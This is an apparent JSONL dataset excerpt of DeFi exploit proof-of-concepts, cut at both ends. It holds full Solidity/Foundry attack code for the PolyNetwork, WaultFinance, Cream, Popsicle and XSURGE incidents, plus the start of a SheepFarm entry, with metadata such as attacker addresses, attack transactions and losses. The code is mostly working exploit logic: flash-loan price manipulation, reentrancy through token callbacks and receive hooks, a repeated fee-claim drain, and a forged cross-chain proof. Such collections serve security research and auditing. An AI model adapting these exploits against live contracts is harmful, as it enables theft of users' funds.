checkIfFromChainTxExist(uint64,bytes32)\n // d) 0xe90bfdcf000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: markFromChainTxExist(uint64,bytes32)\n // e) 0x41973cd9000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b0000000000000000000000000000000000000000000000000000000000000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407000000000000000000000000: putCurEpochConPubKeyBytes(bytes) / f1121318093(bytes,bytes,uint64) / func10487987874260605968(bytes,bytes,uint64)\n\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L183\n // (success, returnData) = EthCrossChainData.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, \"(bytes,bytes,uint64)\"))), abi.encode(toMerkleValue.makeTxParam.args, toMerkleValue.makeTxParam.fromContractAddr, toMerkleValue.makeTxParam.fromChainId)));\n emit log_named_bytes(\n \"changed CurEpochConPubKeyBytes\", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()\n );\n\n // token transfer: https://etherscan.io/tx/0xad7a2c70c958fcd3effbf374d0acf3774a9257577625ae4c838e24b0de17602a\n address AssetProxy = 0x250e76987d838a75310c34bf422ea9f1AC4Cc906;\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/lock_proxy/LockProxy.sol#L64\n emit log_named_uint(\"balance before\", exploiter.balance);\n IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({\n proof: hex\"b12094821f19c671e4c557c358d0780bd2030f3c909df3cb6933607077b9e57d89bd0a00000000000000010001001434d4a23a1fc0c694f0d74ddaf9d8d564cfe2d430020000000000000014250e76987d838a75310c34bf422ea9f1ac4cc90606756e6c6f636b4a14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000\",\n // toContract: AssetProxy\n // method: 756e6c6f636b\n // args: 14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000\n // struct TxArgs {\n // bytes toAssetHash; 0000000000000000000000000000000000000000 // eth\n // bytes toAddress; C8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963\n // uint256 amount; 2662f145d8d496e79a0000000000000000000000000000000000000000000000 // 2857486346845890372134\n // }\n rawHeader: hex\"00000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000afc014478ad573eaa072aaf625f990b01b1f0733b6070d2e38770f74c4d5fac900000000000000000000000000000000000000000000000000000000000000000000000000ca9a3b020000000000000001000000000000000000000000000000000000000000000000000000000000000000\",\n headerProof: hex\"\",\n curRawHeader: hex\"\",\n headerSig: hex\"0c6539f57b9bd2138b003744d9bd94375111bd0137525073b5b3967b7089d98f47236cea76488260b74cb587dbbeb7c5f35a056a5cf5b63649cd90ff487f386401\"\n });\n emit log_named_uint(\"balance after\", exploiter.balance);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "PolyNetwork Exploit (2021-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Analysis\n// https://medium.com/@Knownsec_Blockchain_Lab/wault-finance-flash-loan-security-incident-analysis-368a2e1ebb5b\n// https://inspexco.medium.com/wault-finance-incident-analysis-wex-price-manipulation-using-wusdmaster-contract-c344be3ed376\n// tx\n// https://bscscan.com/tx/0x31262f15a5b82999bf8d9d0f7e58dcb1656108e6031a2797b612216a95e1670e\ninterface WUSDMASTER {\n function stake(\n uint256\n ) external;\n function redeem(\n uint256\n ) external;\n function maxStakeAmount() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WUSD = IERC20(0x3fF997eAeA488A082fb7Efc8e6B9951990D0c3aB);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WEX = IERC20(0xa9c41A46a6B3531d28d5c32F6633dd2fF05dFB90);\n Uni_Pair_V2 Pair1 = Uni_Pair_V2(0x6102D8A7C963F78D46a35a6218B0DB4845d1612F); // WUSD BUSD\n Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); // WBNB USDT\n Uni_Router_V2 Router = Uni_Router_V2(0xD48745E39BbED146eEC15b79cBF964884F9877c2); // WS router\n WUSDMASTER Master = WUSDMASTER(0xa79Fe386B88FBee6e492EEb76Ec48517d1eC759a);\n uint256 Pair1Amount;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 9_728_755);\n }\n\n function testExploit() public {\n // borrow WUSD\n Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1;\n Pair1.swap(Pair1Amount, 0, address(this), new bytes(1));\n\n // WUSD to BUSD\n WUSD.approve(address(Router), type(uint256).max);\n WUSDToBUSD();\n\n emit log_named_decimal_uint(\"Attacker BUSD profit after exploit\", BUSD.balanceOf(address(this)), 18);\n }\n\n function waultSwapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n WUSD.approve(address(Master), type(uint256).max);\n // WUSD to USDT, WEX\n Master.redeem(WUSD.balanceOf(address(this)));\n Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1));\n WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n USDT.approve(address(Master), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n // USDT to WEX\n USDTToWEX();\n // stake to change Pair\n uint256 stakeAmout = 250_000 * 1e18;\n // Master.maxmaxStakeAmount();\n for (uint256 i = 0; i < 68; i++) {\n Master.stake(stakeAmout);\n }\n // WEX to USDT\n WEX.approve(address(Router), type(uint256).max);\n WEXToUSDT();\n USDT.transfer(address(Pair2), 40_121_000 * 1e18);\n }\n\n function USDTToWEX() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(WEX);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 23_000_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function WEXToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(WEX);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WEX.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function WUSDToBUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(WUSD);\n path[1] = address(BUSD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "WaultFinance", "date": "2021-08", "file_name": "WaultFinance_exp.sol", "attack_vector": null, "content_hash": "bae5f93d778db7d8", "collected_at": "2026-01-07T10:59:16.534841", "_source": "postmortems", "chain": "bsc", "block_number": 9728755, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n // borrow WUSD\n Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1;\n Pair1.swap(Pair1Amount, 0, address(this), new bytes(1));\n\n // WUSD to BUSD\n WUSD.approve(address(Router), type(uint256).max);\n WUSDToBUSD();\n\n emit log_named_decimal_uint(\"Attacker BUSD profit after exploit\", BUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.96, "quality_estimate": "low", "title": "WaultFinance Exploit (2021-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n AMP amp = AMP(0xfF20817765cB7f73d4bde2e66e067E58D11095C2);\n\n IERC1820Registry ierc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n\n bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH =\n 0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a;\n\n Uni_Pair_V2 uni = Uni_Pair_V2(0xd3d2E2692501A5c9Ca623199D38826e513033a17);\n\n address constant WTH9_AMP_Pair_Address = 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293;\n address constant uin_WTH9_Pair_Address = 0xd3d2E2692501A5c9Ca623199D38826e513033a17;\n\n WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n crETH creth = crETH(0xD06527D5e56A3495252A528C4987003b712860eE);\n\n crAMP cramp = crAMP(0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6);\n\n Uni_Router_V2 unirouterv2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address constant UniswapV2Router02_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE;\n\n address public mywallet;\n\n address[] path = [0xfF20817765cB7f73d4bde2e66e067E58D11095C2, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2];\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 13_125_070); // fork mainnet at block 13125070\n }\n\n function test() public {\n payable(address(0)).transfer(address(this).balance);\n ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));\n\n mywallet = msg.sender;\n uni.swap(0, 500 * 1e18, address(this), \"0x00\");\n emit log_named_uint(\"Exploit completed, WETH Balance\", weth.balanceOf(mywallet));\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n weth.withdraw(500 * 1e18);\n creth.mint{value: 500 * 1e18}();\n creth.borrow(1 * 1e18);\n cramp.accrueInterest();\n cramp.borrow(19_480_000_000_000_000_000_000_000);\n weth.deposit{value: address(this).balance, gas: 40_000}();\n amp.approve(UniswapV2Router02_address, 19_480_000_000_000_000_000_000_000_000);\n unirouterv2.swapExactTokensForTokens(\n 19_480_000_000_000_000_000_000_000, 1, path, address(this), block.timestamp\n );\n weth.transfer(uin_WTH9_Pair_Address, 502 * 1e18);\n weth.transfer(mywallet, weth.balanceOf(address(this)));\n }\n\n function tokensReceived(\n bytes4 functionSig,\n bytes32 partition,\n address operator,\n address from,\n address to,\n uint256 value,\n bytes calldata data,\n bytes calldata operatorData\n ) external {\n crETH(crETH_Address).borrow(354 * 1e18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Cream", "date": "2021-08", "file_name": "Cream_exp.sol", "attack_vector": null, "content_hash": "cf6b222e9adaa83d", "collected_at": "2026-01-07T10:59:16.534894", "_source": "postmortems", "chain": "unknown", "block_number": 13125070, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test() public {\n payable(address(0)).transfer(address(this).balance);\n ierc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));\n\n mywallet = msg.sender;\n uni.swap(0, 500 * 1e18, address(this), \"0x00\");\n emit log_named_uint(\"Exploit completed, WETH Balance\", weth.balanceOf(mywallet));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.54, "quality_estimate": "low", "title": "Cream Exploit (2021-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"forge-std/interfaces/IERC20.sol\";\n\n// @KeyInfo - Total Lost : 20M USD\n// Attacker : https://etherscan.io/address/0xf9E3D08196F76f5078882d98941b71C0884BEa52\n// Attack Contract : https://etherscan.io/address/0xdFb6faB7f4bc9512d5620e679E90D1C91C4EAdE6\n// Vulnerable Contract : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48\n// Attack Tx : https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48#code\n\n// @Analysis\n// Post-mortem : https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1422786223156776968\n// Hacking God : https://twitter.com/BlockSecTeam/status/1422786223156776968\n\n// Simple SafeERC20 implementation\nlibrary SafeERC20 {\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n (bool success, bytes memory data) = address(token).call(\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"SafeERC20: transfer failed\");\n }\n\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n (bool success, bytes memory data) = address(token).call(\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"SafeERC20: approve failed\");\n }\n}\n\ninterface IPopsicle {\n function balanceOf(address account) external view returns (uint256);\n function collectFees(uint256 amount0, uint256 amount1) external;\n function deposit(\n uint256 amount0Desired,\n uint256 amount1Desired\n ) external payable returns (uint256 shares, uint256 amount0, uint256 amount1);\n function symbol() external view returns (string memory);\n function token0() external view returns (address);\n function token1() external view returns (address);\n function userInfo(address)\n external\n view\n returns (uint256 token0Rewards, uint256 token1Rewards, uint256 token0PerSharePaid, uint256 token1PerSharePaid);\n function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1);\n}\n\ninterface IAaveFlashloan {\n function flashLoan(\n address receiverAddress,\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata modes,\n address onBehalfOf,\n bytes calldata params,\n uint16 referralCode\n ) external;\n}\n\n\n// Simple contract which transfers tokens to an address\ncontract TokenVault {\n using SafeERC20 for IERC20;\n\n function transfer(address _asset, address _to) external {\n uint256 bal = IERC20(_asset).balanceOf(address(this));\n if (bal > 0) IERC20(_asset).safeTransfer(_to, bal);\n }\n\n function executeCall(address target, bytes calldata dataTocall) external returns (bool succ) {\n (succ,) = target.call(dataTocall);\n }\n}\n\ncontract PopsicleExp is BaseTestWithBalanceLog {\n using SafeERC20 for IERC20;\n\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n\n TokenVault receiver1;\n TokenVault receiver2;\n\n //Asset addrs\n address _usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n address _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\n address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address _dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\n address _uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;\n\n //Flashloan amts\n uint256 usdtFlash = 30_000_000 * 1e6;\n uint256 ethFlash = 13_000 ether;\n uint256 wbtcFlash = 1400 * 1e8;\n uint256 usdcFlash = 30_000_000 * 1e6;\n uint256 daiFlash = 3_000_000 ether;\n uint256 uniFlash = 200_000 ether;\n\n address[] assetsArr;\n address[] vaultsArr;\n\n uint256[] amountsArr;\n uint256[] modesArr;\n\n IERC20 usdt = IERC20(_usdt);\n IERC20 weth = IERC20(_weth);\n IERC20 wbtc = IERC20(_wbtc);\n IERC20 usdc = IERC20(_usdc);\n IERC20 dai = IERC20(_dai);\n IERC20 uni = IERC20(_uni);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 12_955_000);\n fundingToken = _usdt;\n\n receiver1 = new TokenVault();\n receiver2 = new TokenVault();\n modesArr = [0, 0, 0, 0, 0, 0];\n assetsArr = [_usdt, _weth, _wbtc, _usdc, _dai, _uni];\n amountsArr = [usdtFlash, ethFlash, wbtcFlash, usdcFlash, daiFlash, uniFlash];\n vaultsArr = [\n 0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48,\n 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546,\n 0x0A8143EF65b0CE4C2fAD195165ef13772ff6Cca0,\n 0x98d149e227C75D38F623A9aa9F030fB222B3FAa3,\n 0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7,\n 0x6f3F35a268B3af45331471EABF3F9881b601F5aA,\n 0xDD90112eAF865E4E0030000803ebBb4d84F14617,\n 0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35\n ];\n }\n\n function approveToTargetAll(address _target) internal {\n for (uint256 i = 0; i < assetsArr.length; i++) {\n approveToTarget(assetsArr[i], _target);\n }\n }\n\n function approveToTarget(address asset, address _target) internal {\n IERC20(asset).forceApprove(_target, type(uint256).max);\n }\n\n function _logBalances(string memory message) internal {\n emit log(message);\n emit log(\"--- Start of balances --- \");\n emit log_named_uint(\"USDT Balance\", _logTokenBal(_usdt));\n emit log_named_uint(\"WETH Balance\", _logTokenBal(_weth));\n emit log_named_uint(\"WBTC Balance\", _logTokenBal(_wbtc));\n emit log_named_uint(\"USDC Balance\", _logTokenBal(_usdc));\n emit log_named_uint(\"DAI Balance\", _logTokenBal(_dai));\n emit log_named_uint(\"UNI Balance\", _logTokenBal(_uni));\n emit log(\"--- End of balances --- \");\n }\n\n function _logTokenBal(address asset) internal view returns (uint256) {\n return IERC20(asset).balanceOf(address(this));\n }\n\n function testExploit() public balanceLog {\n _logBalances(\"Before attack\");\n aaveV2.flashLoan(address(this), assetsArr, amountsArr, modesArr, address(this), new bytes(0), 0);\n _logBalances(\"After attack\");\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address /* initiator */,\n bytes calldata /* params */\n ) external payable returns (bool) {\n attackLogic();\n //Check we are in profit on each asset\n for (uint256 i = 0; i < assets.length; i++) {\n uint256 bal = _logTokenBal(assets[i]);\n emit log_named_decimal_uint(\"Profit \", (bal - (amounts[i] + premiums[i])), IERC20(assets[i]).decimals());\n emit log_string(string.concat(\" for asset \", IERC20(assets[i]).name()));\n }\n approveToTargetAll(address(aaveV2));\n return true;\n }\n\n function attackLogic() internal {\n for (uint256 i = 0; i < vaultsArr.length; i++) {\n //Approve funds for vault\n IPopsicle vault = IPopsicle(vaultsArr[i]);\n IERC20(vault.token0()).forceApprove(vaultsArr[i], type(uint256).max);\n IERC20(vault.token1()).forceApprove(vaultsArr[i], type(uint256).max);\n vault.deposit(\n IERC20(vault.token0()).balanceOf(address(this)), IERC20(vault.token1()).balanceOf(address(this))\n );\n drainVault(vaultsArr[i]);\n }\n claimFundsFromReceivers();\n }\n\n function claimFundsFromReceivers() internal {\n for (uint256 i = 0; i < assetsArr.length; i++) {\n receiver1.transfer(assetsArr[i], address(this));\n receiver2.transfer(assetsArr[i], address(this));\n }\n }\n\n function drainVault(address _vault) internal {\n //Transfer the vault token around to 2 other receivers then back\n transferAround(_vault);\n //Then redeem our position and claim fees\n withdrawandClaimFees(_vault);\n }\n\n function withdrawandClaimFees(address _vault) internal {\n claimFees(_vault);\n }\n\n function claimFees(address _vault) internal {\n (uint256 token0fees, uint256 token1fees,,) = IPopsicle(_vault).userInfo(address(this));\n //Collect fees\n IPopsicle(_vault).withdraw(IPopsicle(_vault).balanceOf(address(this)));\n (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1));\n\n receiver1.executeCall(\n _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr1, token1feesr1)\n );\n (uint256 token0feesr2, uint256 token1feesr2) = (\n IERC20(address(IPopsicle(_vault).token0())).balanceOf(_vault),\n IERC20(address(IPopsicle(_vault).token1())).balanceOf(_vault)\n );\n\n receiver2.executeCall(\n _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr2, token1feesr2)\n );\n emit log_named_uint(\"Self - Token0 Fees:\", token0fees);\n emit log_named_uint(\"Self - Token1 Fees:\", token1fees);\n emit log_named_uint(\"Receiver1 - Token0 Fees:\", token0feesr1);\n emit log_named_uint(\"Receiver1 - Token1 Fees:\", token1feesr1);\n emit log_named_uint(\"Receiver2 - Token0 Fees:\", token0feesr2);\n emit log_named_uint(\"Receiver2 - Token1 Fees:\", token1feesr2);\n }\n\n function transferAround(address _vault) internal {\n IERC20 asset = IERC20(_vault);\n\n uint256 bal = asset.balanceOf(address(this));\n IPopsicle(_vault).collectFees(0, 0);\n\n asset.transfer(address(receiver1), bal);\n receiver1.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0));\n receiver1.transfer(_vault, address(receiver2));\n\n receiver2.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0));\n receiver2.transfer(_vault, address(this));\n\n IPopsicle(_vault).collectFees(0, 0);\n }\n}\n", "type": "exploit_poc", "protocol": "Popsicle", "date": "2021-08", "file_name": "Popsicle_exp.sol", "attack_vector": "flash_loan", "content_hash": "fa46d52c56978dbe", "collected_at": "2026-01-07T10:59:16.534946", "_source": "postmortems", "chain": "ethereum", "block_number": 12955000, "total_lost_raw": "20M USD", "total_lost_usd": 20000000.0, "attacker_address": "https://etherscan.io/address/0xf9E3D08196F76f5078882d98941b71C0884BEa52", "attack_contract": "https://etherscan.io/address/0xdFb6faB7f4bc9512d5620e679E90D1C91C4EAdE6", "vulnerable_contract": "https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48", "attack_tx": "https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc", "postmortem_url": "https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1", "twitter_url": "https://twitter.com/BlockSecTeam/status/1422786223156776968", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "20M USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n _logBalances(\"Before attack\");\n aaveV2.flashLoan(address(this), assetsArr, amountsArr, modesArr, address(this), new bytes(0), 0);\n _logBalances(\"After attack\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "20M USD", "keyinfo_attacker": "https://etherscan.io/address/0xf9E3D08196F76f5078882d98941b71C0884BEa52", "keyinfo_attack_contract": "https://etherscan.io/address/0xdFb6faB7f4bc9512d5620e679E90D1C91C4EAdE6", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48", "keyinfo_attack_tx": "https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc", "analysis_postmortem": "https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1422786223156776968", "funds_lost_formatted": "$20.00M", "content_richness_score": 10, "quality_estimate": "high", "title": "Popsicle Exploit (2021-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IpancakePair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n}\n\ninterface Token {\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n}\n\ncontract ContractTest is Test {\n IpancakePair ipancake = IpancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\n WBNB wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Surge surge = Surge(0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21);\n address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;\n address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;\n address public mywallet = msg.sender;\n uint8 public time = 0;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 10_087_723); // fork bsc at block 10087723\n }\n\n function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n ipancake.swap(0, 10_000 * 1e18, address(this), \"0x00\");\n // wbnb.withdraw(wbnb.balanceOf(address(this)));\n // VISR_Balance = visr.balanceOf(msg.sender);\n //emit log_named_uint(\"WBNB Balance\",wbnb.balanceOf(address(this)));\n emit log_named_uint(\"Exploit completed, WBNB Balance\", wbnb.balanceOf(mywallet));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n wbnb.withdraw(wbnb.balanceOf(address(this)));\n\n (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}(\"\");\n\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n surge.sell(surge.balanceOf(address(this)));\n\n wbnb.deposit{value: address(this).balance}();\n\n wbnb.transfer(Pancake_Pair_Address, 10_030 * 1e18);\n wbnb.transfer(mywallet, wbnb.balanceOf(address(this)));\n }\n\n receive() external payable {\n if (msg.sender == Surge_Address && time < 6) {\n (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}(\"\");\n\n time++;\n }\n }\n}\n", "type": "exploit_poc", "protocol": "XSURGE", "date": "2021-08", "file_name": "XSURGE_exp.sol", "attack_vector": null, "content_hash": "a7e672ca271e6427", "collected_at": "2026-01-07T10:59:16.535025", "_source": "postmortems", "chain": "unknown", "block_number": 10087723, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n payable(address(0)).transfer(address(this).balance);\n ipancake.swap(0, 10_000 * 1e18, address(this), \"0x00\");\n // wbnb.withdraw(wbnb.balanceOf(address(this)));\n // VISR_Balance = visr.balanceOf(msg.sender);\n //emit log_named_uint(\"WBNB Balance\",wbnb.balanceOf(address(this)));\n emit log_named_uint(\"Exploit completed, WBNB Balance\", wbnb.balanceOf(mywallet));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.43, "quality_estimate": "low", "title": "XSURGE Exploit (2021-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Attack reason: Wrong function logic\n// Info about attack: https://twitter.com/BlockSecTeam/status/1592734292727455744\n// Tx: https://bscscan.com/tx/0x8b3e0e3ea04829f941ca24c85032c3b4aeb1f8b1b278262901c2c5847dc72f1c\n\ninterface ISheepFarm {\n function register(\n address neighbor\n ) external;\n\n 